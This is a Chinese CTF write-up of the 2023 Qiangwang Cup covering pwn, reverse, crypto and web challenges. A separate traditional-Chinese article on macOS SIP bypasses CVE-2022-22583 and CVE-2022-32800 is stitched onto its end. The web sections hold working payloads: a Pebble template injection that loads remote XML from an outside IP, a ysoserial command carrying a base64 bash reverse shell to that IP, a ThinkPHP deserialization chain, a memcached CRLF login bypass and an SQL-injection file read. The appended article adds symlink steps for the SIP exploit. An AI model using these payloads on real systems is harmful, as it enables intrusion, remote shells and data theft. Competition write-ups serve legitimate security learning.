        0:'%' + str(0xce) + 'c' + '%11$hhn%19$p',
        0x18:[0x401205],
        0x28:attack_stack,
    }
)
s(pd)
ru('0x')
leak_libc = int(r(12),16)
leak_ex2(leak_libc)
lb = leak_libc - 0x24083
libc.address = lb

pd = flat(
    {
        0x18:[
            CG.pop_rdi_ret(),
            CG.bin_sh(),
            lb + 0x51cd2]
    }
)
S()
s(pd)

ia()

hello spring

审计源码后发现是pepple的模板注入

发现过滤了

org.springframework.context.support.ClassPathXmlApplicationContext

用字符串拼接的方式绕过

org.springframework.context."+"support.ClassPathXmlApplicationContext

上传payload如下

POST /uploadFile HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 567

content=%7B%25%20set%20y%3D%20beans.get(%22org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory%22).resourceLoader.classLoader.loadClass(%22java.beans.Beans%22)%20%25%7D%0A%7B%25%20set%20yy%20%3D%20%20beans.get(%22jacksonObjectMapper%22).readValue(%22%7B%7D%22%2C%20y)%20%25%7D%0A%7B%25%20set%20yyy%20%3D%20yy.instantiate(null%2C%22org.springframework%22%2B%22.context.support.ClassPathXmlApplicationContext%22)%20%25%7D%0A%7B%7B%20yyy.setConfigLocation(%22http%3A%2F%2F47.76.178.89%3A8081%2F1.xml%22)%20%7D%7D%0A%7B%7B%20yyy.refresh()%20%7D%7D

上传的文件名与时间有关,并且题目环境的时间与现实不一样

public static String general_time() {
    LocalDateTime currentTime = LocalDateTime.now();
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyyMMdd_HHmmss");
    String var10000 = currentTime.format(formatter);
    String fileName = "file_" + var10000 + ".pebble";
    System.out.println("filename is " + fileName);
    return fileName;
}

 

yoolbmjcpf013434.jpg

 

那么文件名就为 file_20231217_160502,发送payload去触发该点

GET /?x=../../../../../../../../tmp/file_20231217_160502 HTTP/1.1
Host: eci-2ze7ksohishwh34f2u43.cloudeci1.ichunqiu.com:8088
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

 

kvh3c5vfd3f13439.jpg

 

babyre

调试发现密钥和密文都变了

 

yadbuzrx2lm13445.jpg

 

加解密过程对应着修改

 

zhhgvvttz3y13449.jpg

 

解密脚本

#include <stdio.h>
#include <stdint.h>

//加密函数
void encrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], sum = 0x90508D47, delta = 0x77BF7F99;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            v0 += (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
            v1 += (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            sum -= delta;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//解密函数
void decrypt(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4])
{
    unsigned int i;
    uint32_t v0 = v[0], v1 = v[1], delta = 0x77BF7F99, sum = 0xd192c263;
    for (int j = 0; j < 4; j++)
    {
        for (i = 0; i < num_rounds; i++)
        {
            sum += delta;
            v1 -= (((v0 >> 4) ^ (v0 << 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
            v0 -= (((v1 >> 4) ^ (v1 << 5)) + v1) ^ (sum + key[sum & 3]) ^ sum;
        }
    }
    v[0] = v0;
    v[1] = v1;
    printf("sum==0x%x\n", sum);
}

//打印数据 hex_or_chr: 1-hex 0-chr
void dump_data(uint32_t *v, int n, bool hex_or_chr)
{
    if (hex_or_chr)
    {
        for (int i = 0; i < n; i++)
        {
            printf("0x%x,", v[i]);
        }
    }
    else
    {
        for (int i = 0; i < n; i++)
        {
            for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
            {
                printf("%c", (v[i] >> (j * 8)) & 0xFF);
            }
        }
    }
    printf("\n");
    return;
}

int main()
{
    // v为要加解密的数据
    uint32_t v[] = {0x9523f2e0, 0x8ed8c293, 0x8668c393, 0xddf250bc, 0x510e4499, 0x8c60bd44, 0x34dcabf2, 0xc10fd260};
    // k为加解密密钥,4个32位无符号整数,密钥长度为128位
    uint32_t k[4] = {0x62, 0x6F, 0x6D, 0x62};
    // num_rounds,建议取值为32
    unsigned int r = 33;

    int n = sizeof(v) / sizeof(uint32_t);
    /*
    printf("加密前明文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        encrypt(r, &v[i * 2], k);
    }
    */
    printf("加密后密文数据:");
    dump_data(v, n, 1);

    for (int i = 0; i < n / 2; i++)
    {
        decrypt(r, &v[i * 2], k);
    }

    printf("解密后明文数据:");
    dump_data(v, n, 1);

    printf("解密后明文字符:");
    dump_data(v, n, 0);

    return 0;
}

// W31com3_2_Th3_QwbS7_4nd_H4v3_Fun

ezre

变表base64编解码交替

2023 强网杯 writeup by Arr3stY0u

有个循环异或

2023 强网杯 writeup by Arr3stY0u

先逆循环异或

enc = [0x3A, 0x2C, 0x4B, 0x51, 0x68, 0x46, 0x59, 0x63, 0x24, 0x04,
       0x5E, 0x5F, 0x00, 0x0C, 0x2B, 0x03, 0x29, 0x5C, 0x74, 0x70,
       0x6A, 0x62, 0x7F, 0x3D, 0x2C, 0x4E, 0x6F, 0x13, 0x06, 0x0D,
       0x06, 0x0C, 0x4D, 0x56, 0x0F, 0x28, 0x4D, 0x51, 0x76, 0x70,
       0x2B, 0x05, 0x51, 0x68, 0x48, 0x55, 0x24, 0x19]
tbs = ["l+USN4J5Rfj0TaVOcnzXiPGZIBpoAExuQtHyKD692hwmqe7/Mgk8v1sdCW3bYFLr",
       "FGseVD3ibtHWR1czhLnUfJK6SEZ2OyPAIpQoqgY0w49u+7rad5CxljMXvNTBkm/8",
       "Hc0xwuZmy3DpQnSgj2LhUtrlVvNYks+BX/MOoETaKqR4eb9WF8ICGzf6id1P75JA",
       "pnHQwlAveo4DhGg1jE3SsIqJ2mrzxCiNb+Mf0YVd5L8c97/WkOTtuKFZyRBUPX6a",
       "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
aaa = [ord(c)
       for c in "plxXOZtaiUneJIhk7qSYEjD1Km94o0FTu52VQgNL3vCBH8zsA/b+dycGPRMwWfr6"]
for i in range(len(aaa)):
    aaa[i] ^= 0x27
v5 = aaa[6:6+0x15]
v7 = 2023
v6 = 0
v8 = 48
xor = []
while v6 < v8 - 1:
    if v6 % 3 == 1:
        v7 = (v7 + 5) % 20
        v3 = v5[v7 + 1]
    elif v6 % 3 == 2:
        v7 = (v7 + 7) % 19
        v3 = v5[v7 + 2]
    else:
        v7 = (v7 + 3) % 17
        v3 = v5[v7 + 3]
    v6 += 1
    xor.append(v3)
for i in range(len(enc)-1, -1, -1):
    enc[i] ^= enc[i-1]
    if i <= len(enc)-2:
        enc[i] ^= xor[i]
print(bytes(enc))
# jZqSWcUtWBLlOriEfcajWBSRstLlkEfFWR7j/R7dMCDGnp==

再逆变表base64编解码再补全

2023 强网杯 writeup by Arr3stY0u

flag{3ea590ccwxehg715264fzxnzepqz}

石头剪刀布

因为模型的预测是只跟输入的sequence有关,所以可以根据当前情况的最优解输入进去来得到模型的下一步输出,这样就可以得到我们下一步的最优解。一直循环下去,就可以得到全部的最优解。

由于前面5次大模型是随机输出的,因此我们可以考虑从第6次开始求最优解。最坏情况下,前5次全输,需要87步即可达到260分,即第92轮时,因此可以通过本题。

from pwn import remote

ip = '<ip>'
port = '<port>'

class GetStatus:
    def __init__(self, _ip=ip, _port=port) -> None:
        self.r = remote(_ip, _port)
        self.score = 0

    def getdiff(self, out):
        self.r.sendlineafter('请出拳'.encode(), str(out).encode())
        self.r.recvuntil('分数:'.encode())
        newscore = int(self.r.recvline().decode()) 
        diff = newscore - self.score
        self.score = newscore
        return diff

    def test_list(self, lis):
        for out in lis:
            diff = self.getdiff(out)
            if self.score >= 260:
                return 'win'
        return diff

current_best = [0] * 5
diff2out = {
    3: 0,
    1: 2,
    0: 1
}
while len(current_best) <= 100:
    current_best.append(0)
    c = GetStatus()
    diff = c.test_list(current_best)
    if c.score >= 260:
        c.r.interactive()
        break
    c.r.close()
    current_best[-1] = diff2out[diff]
    print(f'Round {len(current_best)}: {current_best}')
或者

按照如下顺序即可获胜

0000011220120220110111222010022012110021012012202100112022100112110020110220210201

2qrcfev5yae13463.png

CRYPTO

not only rsa

n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下:

from Crypto.Util.number import  long_to_bytes
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
n=p^5
K=Zmod(p^5)
a=K(c).nth_root(e)
b=K(1).nth_root(e)
a=int(a)
b=int(b)
print(b,a)
from tqdm import tqdm
for i in tqdm(range(e)):
  a=(a*b)%n
  m=long_to_bytes(int(a))
  if b"flag" in m:
    print(m)
    break

#flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}

 

discrete_log

阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解

import itertoolsfrom gmpy2 import *from Crypto.Util.Padding import *from Crypto.Util.number import *from tqdm import tqdmp = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299g = 5c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649flag_len=12fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()flag_pattern = (pad(fake_flag_pad, 128))#print(flag_pattern)flag_pattern=bytes_to_long(flag_pattern)pattern=1<<888#print(bin(pattern))cc = c * inverse(pow(g,flag_pattern,p),p)%pcc = pow(cc, inverse(pattern, q), p)print(cc)table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']dic = dict()gtemp= pow(g, 2**48, p)for half_flag1 in tqdm(itertools.product(table, repeat=6)):    half_flag1 = bytes_to_long(''.join(half_flag1).encode())    temp = cc * powmod(gtemp, -(half_flag1), p) % p    dic[temp] = half_flag1for half_flag2 in tqdm(itertools.product(table, repeat=6)):    half_flag2 = bytes_to_long(''.join(half_flag2).encode())    temp = powmod(g, half_flag2, p)    if temp in dic:        print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2))

WEB

thinkshop

附件在本地起docker可以得到源码,审计发现admin路由

后台路径 /public/index.php/index/admin/login.html

1/123456登陆后台

 

sjhzdtazw4g13465.jpg

 

审计发现在保存操作调用save->updatedata

 

senrvrqy2wr13469.jpg

 

在updatedata存在SQL注入,$key相当于是$data中的一个键值。

 

yml5zi2gann13471.jpg

 

在保存商品时会调用saveGoods数据进行序列化之后保存到数据库

 

pd5ft4eg34j13473.jpg

 

在编辑页面可以看到数据抽取时会进行反序列化操作

 

vqcz1yb0pnz13477.jpg

 

利用SQL注入修改data数据的值,本题data是数组,且会插入数据库,最终的payload需要改一下让前后闭合,且TP5,在网上找一个链子的EXP改一下

https://www.freebuf.com/vuls/317886.html

<?php
namespace think\process\pipes{
    use think\model\Pivot;
    ini_set('display_errors',1);
    class Windows{
        private $files = [];
        public function __construct($function,$parameter)
{
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $aaa = new Windows('system','nl /f*');
    echo base64_encode(serialize(array($aaa)));
}
namespace think{
    abstract class Model
    {}
}
namespace think\model{
    use think\Model;
    use think\console\Output;
    class Pivot extends Model
{
        protected $append = [];
        protected $error;
        public $parent;
        public function __construct($function,$parameter)
{
            $this->append['jelly'] = 'getError';
            $this->error = new relation\BelongsTo($function,$parameter);
            $this->parent = new Output($function,$parameter);
        }
    }
    abstract class Relation
{}
}
namespace think\model\relation{
    use think\db\Query;
    use think\model\Relation;
    abstract class OneToOne extends Relation
{}
    class BelongsTo extends OneToOne
{
        protected $selfRelation;
        protected $query;
        protected $bindAttr = [];
        public function __construct($function,$parameter)
{
            $this->selfRelation = false;
            $this->query = new Query($function,$parameter);
            $this->bindAttr = [''];
        }
    }
}
namespace think\db{
    use think\console\Output;
    class Query
{
        protected $model;
        public function __construct($function,$parameter)
{
            $this->model = new Output($function,$parameter);
        }
    }
}
namespace think\console{
    use think\session\driver\Memcache;
    class Output
{
        protected $styles = [];
        private $handle;
        public function __construct($function,$parameter)
{
            $this->styles = ['getAttr'];
            $this->handle = new Memcache($function,$parameter);
        }
    }
}
namespace think\session\driver{
    use think\cache\driver\Memcached;
    class Memcache
{
        protected $handler = null;
        protected $config  = [
            'expire'       => '',
            'session_name' => '',
        ];
        public function __construct($function,$parameter)
{
            $this->handler = new Memcached($function,$parameter);
        }
    }
}
namespace think\cache\driver{
    use think\Request;
    class Memcached
{
        protected $handler;
        protected $options = [];
        protected $tag;
        public function __construct($function,$parameter)
{
            // pop链中需要prefix存在,否则报错
            $this->options = ['prefix'   => 'jelly/'];
            $this->tag = true;
            $this->handler = new Request($function,$parameter);
        }
    }
}
namespace think{
    class Request
    {
        protected $get     = [];
        protected $filter;
        public function __construct($function,$parameter)
{
            $this->filter = $function;
            $this->get = ["jelly"=>$parameter];
        }
    }
}
//YToxOntpOjA7TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mzp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJqZWxseSI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6Mzp7czoxNToiACoAc2VsZlJlbGF0aW9uIjtiOjA7czo4OiIAKgBxdWVyeSI7TzoxNDoidGhpbmtcZGJcUXVlcnkiOjE6e3M6ODoiACoAbW9kZWwiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntpOjA7czowOiIiO319czo2OiJwYXJlbnQiO086MjA6InRoaW5rXGNvbnNvbGVcT3V0cHV0IjoyOntzOjk6IgAqAHN0eWxlcyI7YToxOntpOjA7czo3OiJnZXRBdHRyIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjI6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6MTA6IgAqAGhhbmRsZXIiO086MTM6InRoaW5rXFJlcXVlc3QiOjI6e3M6NjoiACoAZ2V0IjthOjE6e3M6NToiamVsbHkiO3M6NjoibmwgL2YqIjt9czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjt9czoxMDoiACoAb3B0aW9ucyI7YToxOntzOjY6InByZWZpeCI7czo2OiJqZWxseS8iO31zOjY6IgAqAHRhZyI7YjoxO31zOjk6IgAqAGNvbmZpZyI7YToyOntzOjY6ImV4cGlyZSI7czowOiIiO3M6MTI6InNlc3Npb25fbmFtZSI7czowOiIiO319fX19fX0

在编辑页面修改抓包

 

fgasrr5lo1u13481.jpg

 

放包

2023 强网杯 writeup by Arr3stY0u

再次访问该商品得到flag

 

12xoqpkmw1x13488.jpg

 

flag{c7c7e293-d532-496b-b414-c28bb3fe9aa7}

happygame

使用grpcui工具

grpcui -plaintext ip:port

打开以后可以发现一个序列化参数。

 

akbvfccultj13491.jpg

 

猜测后端是java组件,这里经过测试,发现CC5可以攻击,所以用ysoserial生成payload,因为exec会把管道符当做参数,所以需要先编码

java -jar ysoserial-main-923a2bda4e-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny43Ni4xNzguODkvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" | base64

发送该数据,即可成功反弹shell

 

ju35ovfggda13494.jpg

 

thinkshopping

第二天又上了thinkshopping这一题,和前一题主要的区别是goods_edit.html中的反序列化入口被删了anfzusczmkq13498.jpg

还有admin表中的内容被清空了,没有1、admin、e10adc3949ba59abbe56e057f20f883e这条数据了

更重要的是,secure_file_priv的值为空了3x31zpw5wqd13501.png

而前一题还是有值的

bisx2uych5x13505.png

当然,前一题的SQL注入点依然存在,不过依然需要鉴权进入后台,这意味着,只需要我们能进入后台,就能通过load_file的方式读取flag。

那么,如何进入到后台呢?前面提到,容器在启动的时候使用了memcached,但是在前一题中并没有用到z3iy5truub013509.jpg

并且启动了memcached后,ThinkPHP中也配置了cache使用memcached做缓存riinkhi10e213512.jpg

而在登录时,使用了cache先获取缓存q23anmzswsz13513.jpg

跟进一下find逻辑,由于出题人配置了cache,所以会将数据缓存到memcached中,这里的缓存的key格式为:think:shop.admin|usernameg5a3addemxk13516.jpg

那么如何控制缓存的值呢?memcached存在CRLF注入漏洞,具体可参考下方文章:

 https://www.freebuf.com/vuls/328384.html

简单来说,就是能set任意的值,例如下方的payload,就能注入一个snowwolf的键,且值为wolf,4代表数据长度

TOKEN%00%0D%0Aset%20snowwolf%200%20500%204%0D%0Awolf

等价于
set snowwolf 0 500 4
wolf
那么我们需要注入一个怎么样的数据呢?我们可以看一下存储之后的数据是长什么样的,将下面的内容添加到路由,然后访问执行
 public function test(){
    $result = Db::query("select * from admin where id=1");
    var_dump($result);
    $a = "think:shop.admin|admin";
    Cache::set($a, $result, 3600);
}

查看memcached中的值,长得像个序列化字符串

telnet 127.0.0.1 11211

get think:shop.admin|admin
a:1:{i:0;a:3:{s:2:"id";i:1;s:8:"username";s:5:"admin";s:8:"password";s:32:"21232f297a57a5a743894a0e4a801fc3";}}
l5weoou5edr13519.jpg

这里有个坑点,就是memcached本身是没有数据类型的,只有key-value的概念,存放的都是字符串,但是PHP编程语言给它给予了数据类型的概念(当flags为0为字符串,当flags4为数组等等),我们看一下memcached的set命令格式:

上图中的红色箭头所指向的4,就是下方的flags位置,也就是说,在PHP中,flags为4的缓存数据,被当做数组使用

set key flags exptime bytes [noreply] 

value 

所以我们在构造CRLF注入的命令时,需要注意在set时,把flags设置为4

POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin

再用admin、admin去登录即可,登录到后台之后,再带上session去load_file读flag即可

POST /public/index.php/index/admin/do_edit.html HTTP/1.1
Host: eci-2ze7q6gtt4a3a07rywcf.cloudeci1.ichunqiu.com
Content-Length: 183
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=korn6f9clt7oere36ke7pj7m70

data`%3Dunhex('')/**/,`name`%3Dload_file('/fffflllaaaagggg')/**/where/**/id%3D1/**/or/**/1%3D1#=1&id=1&name=a&price=100.00&on_sale_time=2023-05-05T02%3A20%3A54&image=1&data=%27%0D%0Aa
ysju3dszrhe13522.jpg  

参考原文链接:

https://mp.weixin.qq.com/s/ksGjGGeYjvWpgmRA5xyBpg https://mp.weixin.qq.com/s/ZNbUGyYkLP0YWDGIVMN-Zw https://mp.weixin.qq.com/s/zBWgPmK4edhkc153A7cvTw https://blog.csdn.net/qq_65165505/article/details/135044734

我們會在本文詳細介紹如何使用不同的方法利用CVE-2022-22583的技術細節。我們還在本報告中討論了CVE-2022-32800的技術細節。

2022年1月26日,蘋果公司修復了PackageKit框架中的系統完整性保護(SIP)繞過漏洞,該漏洞被識別為CVE-2022-22583。

Perception Point發布了一篇關於該漏洞及其利用細節的文章後,我們確定我們利用該漏洞的方法與他們的不同。在深入挖掘CVE-2022-22583之後,我們還發現了一個新的漏洞CVE-2022-32800。

這篇文章討論了我們如何使用不同的方法利用CVE-2022-22583的技術細節。關於SIP和特殊守護進程服務的權利的更多詳細信息可以在我們上個月的文章中找到。我們還會討論在2022年社區力量安全會議(POC2022)期間向蘋果披露的15個以上關鍵SIP繞過漏洞中的幾個。

CVE-2022-22583CVE-2022-22583的安全漏洞我們通過進程監控發現了這個漏洞。當我們將apple簽名的軟件安裝包(PKG)文件安裝到root volume時,我們注意到以下腳本是由特權“system_install”服務生成的:

1.png

因為“system_installd”服務具有特殊的“com.apple.rootless.install.heritable”權限,所以這兩個腳本將在SIP繞過上下文中執行。

在看到這兩個腳本位於“/tmp/PKInstallSandbox.l57ygT”目錄後,我想到了以下問題:

我們可以修改臨時位置內的腳本嗎?

誰創建了帶有隨機後綴的臨時文件夾“PKInstallSandbox”?

新創建的文件夾是否受SIP保護?

在這些問題的啟發下,我們開始了調查。

通過反轉和調試,我們發現臨時文件夾是由' -[PKInstallSandbox prepareForCommitReturningError:] '函數創建的:

2.png

“prepareForCommitXXX”函數的實現

在第16行,它調用另一個函數“-[PKInstallSandbox _createDirectory:uniquifying:error:]”,該函數在內部調用API“mkdtemp”來不受任何限制地創建文件夾。

3.png

“_createDirectory:uniquifying:”函數的實現

在看到“PKInstallSandbox.XXXXXXX”文件夾未受保護後,我們最初認為它可以被利用和操縱。然而,我們未能直接修改文件夾中的腳本。這是因為子文件夾“Scripts”受到限制,它從受限制的沙盒路徑中移動,如上第25行所示。

至少有兩種不同的方法來克服這個特殊的挑戰並利用這個安全漏洞。

漏洞1:使用掛載技巧第一個漏洞使用掛載技巧。 Perception Point在其文章中對此進行了詳細討論。根據調查,掛載技巧可以通過以下步驟完成:

創建虛擬映像文件並將其裝載到“/private/tmp”上;

使用安裝後腳本安裝Apple簽名的軟件包;

等待安裝程序完成腳本目錄的提取,並收集提取路徑的隨機部分;

卸載映像文件,這將恢復到提取前的“/private/tmp”內容;

創建腳本目錄(使用我們之前獲得的隨機路徑),並將我們想要的任何腳本放入其中。

Perception Point的文章還指出,這裡討論的漏洞取決於時間,可能不會一直成功。

漏洞2:使用符號鏈接我們的漏洞使用了另一種方法:符號鏈接。此漏洞可通過以下步驟實現:

監視“/tmp/PKInstallSandbox.XXXXXXX”目錄的創建,並將其替換為指向另一個“/tmp/fakebox”位置的符號鏈接,以將受限制的腳本重定向到那裡;

一旦腳本位於“/tmp/fakebox”中,請刪除符號鏈接並重新創建相同的“/tmp/PKInstallSandbox.XXXXXXX”目錄,然後將有效負載腳本放在“/tmp/pKInstallSandox.XXXXXXX/scripts/pkgid.XXXXXX/”目錄中;

等待有效負載腳本執行;

此漏洞的完整概念證明已上傳到了GitHub上。我們的概念驗證演示也可以在下圖中看到。

4.png

使用symlink的漏洞演示

即使我們是root用戶,也無法在受限目錄“/Library/Apple”中創建文件,因為SIP狀態已啟用。但是在利用程序的幫助下,我們可以在SIP繞過上下文中執行任意命令,並在受限目錄中成功創建文件。

蘋果CVE-2022-22583的補丁“installd”服務和“system_installd”服務的操作方式有點混亂。在下圖中,我們可以看到第17行和第18行的補丁代碼區分了這兩種服務:

5.png

CVE-2022-22583的補丁

對於蘋果簽署的軟件包,該補丁使用“OpenPath”及其自己的受限沙盒路徑。對於其他包,它仍然使用“/tmp”目錄中的隨機路徑。

安裝沙盒在介紹CVE-2022-32800之前,我們需要了解一些與“安裝沙盒”相關的概念。

Sandbox Repository首先,讓我們看一下“Sandbox Repository”,這是一個由“-[PKInstallSandboxManager _sandboxRepositoryForDestination:forSystemSoftware:create:error:]”函數返回和創建的目錄。

6.png

“_sandboxRepositoryForDestination:XXX”函數的實現

總之,有四種Sandbox Repository:

安裝目標為root volume“/”:

a.對於Apple簽名的pkg: /Library/Apple/System/Library/InstallerSandboxes/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: /Library/InstallerSandboxes/.PKInstallSandboxManager;

安裝目標不是root volume:

a.對於apple簽名的pkg: $targetVolume/.PKInstallSandboxManager-SystemSoftware;

b.其他pkg: $targetVolume/.PKInstallSandboxManager;

需要注意的是,只有當apple簽名包安裝到root volume時,Sandbox Repository才會受到限制。

沙盒路徑“沙盒路徑”用於在安裝期間存儲腳本和有效載荷等文件。

它是“Sandbox Repository”中的一個目錄,由“[PKInstallSandboxManager addSandboxPathForDestination:forSystemSoftware:]_block_invoke”方法創建:

7.png

實現“addSandboxPathForDestination:XXX”函數

沙盒路徑有四種,每種路徑都有一個通用唯一標識符(UUID)名稱,表示它們特定的沙盒狀態:

UUID.sandbox:創建的第一個狀態;

UUID.activeSandbox:激活狀態,正在使用中;

UUID.trashedSandbox:停用狀態,被丟棄;

UUID.orphanedSandbox:孤立狀態,如果磁盤空間不足,將進行清理;

PKInstallSandbox' PKInstallSandbox '是一個用於抽象和封裝的Objective-C類名:

8.png

通過“-[PKInstallSandbox initWithSandboxPath:installRequest:error:]”方法初始化“PKInstallSandbox”的新實例,這取決於沙盒路徑和安裝請求。

請注意,該實例是可序列化的,並且該類實現了“NSSecureCoding”協議。 “system_installd”服務可以通過“-[PKInstallSandboxManager saveSandboxAsStaged:]”方法將實例保存或序列化到沙盒路徑中名為“SandboxState”的文件中:

9.png

“saveSandboxAsStaged”函數的實現

“PKInstallSandbox”實例也可以稍後通過“-[PKInstallSandboxManager_sandboxAtPath:matchingRequest:forUse:]”方法從“SandboxState”文件還原或反序列化:

10.png

“sandboxAtPath:matchingRequest:XXX”函數的實現

注意,在第57行有一個檢查,它要求恢復的安裝請求與從安裝客戶端傳遞的安裝請求深度相等。這項檢查給我們的開發程序帶來了一個小小的挑戰。

在安裝之前,“system_installd”服務需要根據“-[PKInstallSandboxManagersandboxForRequest:created:error:]”函數中的安裝請求獲取“PKInstallSandbox”的實例。

該函數的核心邏輯如下:

首先,它將從“sandbox Repository”中枚舉所有帶有“.ssandbox”後綴的文件夾,然後從內部的“SandboxState”文件中恢復“PKInstallSandbox”實例。

11.png

枚舉帶有“.ssandbox”後綴的所有文件夾

接下來,如果它找不到與安裝請求匹配的“PKInstallSandbox”實例,那麼它將枚舉帶有“.activeSandbox”後綴的所有文件夾,並嘗試從這些位置還原它們。

12.png

枚舉帶有“.activeSandbox”後綴的所有文件夾

最後,如果它仍然不能匹配這樣的沙盒,它將創建一個新的“沙盒路徑”,並構造一個新的“PKInstallSandbox”實例。

13.png

創建一個新的“沙盒路徑”和實例

CVE-2022-32800漏洞詳細信息CVE-2022-32800漏洞允許攻擊者劫持“SandboxState”文件以獲取SIP繞過原語。

“SandboxState”文件存儲在“Sandbox路徑”中,該路徑位於“Sandbox Repository”中。在正常情況下,“Sandbox存儲庫”僅限於Apple簽名的軟件包。

